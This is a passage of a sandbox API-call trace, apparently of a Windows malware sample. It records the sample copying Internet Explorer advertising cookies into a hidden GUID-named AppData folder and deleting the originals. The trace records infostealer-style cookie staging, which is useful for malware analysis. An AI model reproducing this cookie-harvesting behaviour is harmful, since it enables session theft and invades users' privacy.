wMatch=0x94e005c) returned="\\aetadzjz@crwdcntrl[1].txt" [0115.737] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0115.737] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0115.737] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0115.737] StrChrW (lpStart="aetadzjz@crwdcntrl[1].txt", wMatch=0x94e005c) returned 0x0 [0115.737] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@crwdcntrl[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@crwdcntrl[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@crwdcntrl[1].txt" [0115.737] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@crwdcntrl[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@crwdcntrl[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@crwdcntrl[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@crwdcntrl[1].txt"), bFailIfExists=0) returned 1 [0115.981] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0115.981] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@crwdcntrl[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@crwdcntrl[1].txt")) returned 1 [0115.982] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a935b0 | out: hHeap=0x9770000) returned 1 [0115.982] lstrlenW (lpString="Low\\aetadzjz@demdex[1].txt") returned 26 [0115.982] lstrlenW (lpString="\\cookie.ie") returned 10 [0115.982] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0115.982] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf2) returned 0x9a98470 [0115.982] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0115.982] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0115.982] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0115.982] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0115.982] StrChrW (lpStart="Low\\aetadzjz@demdex[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@demdex[1].txt" [0115.982] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0115.982] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0115.982] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0115.982] StrChrW (lpStart="aetadzjz@demdex[1].txt", wMatch=0x94e005c) returned 0x0 [0115.982] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@demdex[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@demdex[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@demdex[1].txt" [0115.982] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@demdex[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@demdex[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@demdex[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@demdex[1].txt"), bFailIfExists=0) returned 1 [0115.986] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0115.986] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@demdex[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@demdex[1].txt")) returned 1 [0115.987] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a936d0 | out: hHeap=0x9770000) returned 1 [0115.987] lstrlenW (lpString="Low\\aetadzjz@doubleclick[2].txt") returned 31 [0115.987] lstrlenW (lpString="\\cookie.ie") returned 10 [0115.987] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0115.987] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfc) returned 0x9a96580 [0115.987] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0115.987] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0115.988] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0115.988] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0115.988] StrChrW (lpStart="Low\\aetadzjz@doubleclick[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@doubleclick[2].txt" [0115.988] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0115.988] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0115.988] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0115.988] StrChrW (lpStart="aetadzjz@doubleclick[2].txt", wMatch=0x94e005c) returned 0x0 [0115.988] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@doubleclick[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@doubleclick[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@doubleclick[2].txt" [0115.988] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@doubleclick[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@doubleclick[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@doubleclick[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@doubleclick[2].txt"), bFailIfExists=0) returned 1 [0115.991] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0115.991] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@doubleclick[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@doubleclick[2].txt")) returned 1 [0115.992] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a937e0 | out: hHeap=0x9770000) returned 1 [0115.992] lstrlenW (lpString="Low\\aetadzjz@dpm.demdex[1].txt") returned 30 [0115.992] lstrlenW (lpString="\\cookie.ie") returned 10 [0115.992] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0115.992] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfa) returned 0x9a96580 [0115.992] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0115.992] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0115.992] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0115.992] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0115.992] StrChrW (lpStart="Low\\aetadzjz@dpm.demdex[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@dpm.demdex[1].txt" [0115.992] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0115.992] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0115.993] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0115.993] StrChrW (lpStart="aetadzjz@dpm.demdex[1].txt", wMatch=0x94e005c) returned 0x0 [0115.993] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@dpm.demdex[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@dpm.demdex[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@dpm.demdex[1].txt" [0115.993] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@dpm.demdex[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@dpm.demdex[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@dpm.demdex[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@dpm.demdex[1].txt"), bFailIfExists=0) returned 1 [0115.996] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0115.996] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@dpm.demdex[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@dpm.demdex[1].txt")) returned 1 [0115.997] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93930 | out: hHeap=0x9770000) returned 1 [0115.997] lstrlenW (lpString="Low\\aetadzjz@exelator[1].txt") returned 28 [0115.997] lstrlenW (lpString="\\cookie.ie") returned 10 [0115.997] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0115.997] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf6) returned 0x9a98470 [0115.997] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0115.997] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0115.998] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0115.998] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0115.998] StrChrW (lpStart="Low\\aetadzjz@exelator[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@exelator[1].txt" [0115.998] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0115.998] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0115.998] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0115.998] StrChrW (lpStart="aetadzjz@exelator[1].txt", wMatch=0x94e005c) returned 0x0 [0115.998] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@exelator[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@exelator[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@exelator[1].txt" [0115.998] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@exelator[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@exelator[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@exelator[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@exelator[1].txt"), bFailIfExists=0) returned 1 [0116.002] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.002] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@exelator[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@exelator[1].txt")) returned 1 [0116.003] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93a50 | out: hHeap=0x9770000) returned 1 [0116.003] lstrlenW (lpString="Low\\aetadzjz@eyeota[1].txt") returned 26 [0116.003] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.003] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.003] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf2) returned 0x9a98470 [0116.003] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.003] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.003] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.003] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.003] StrChrW 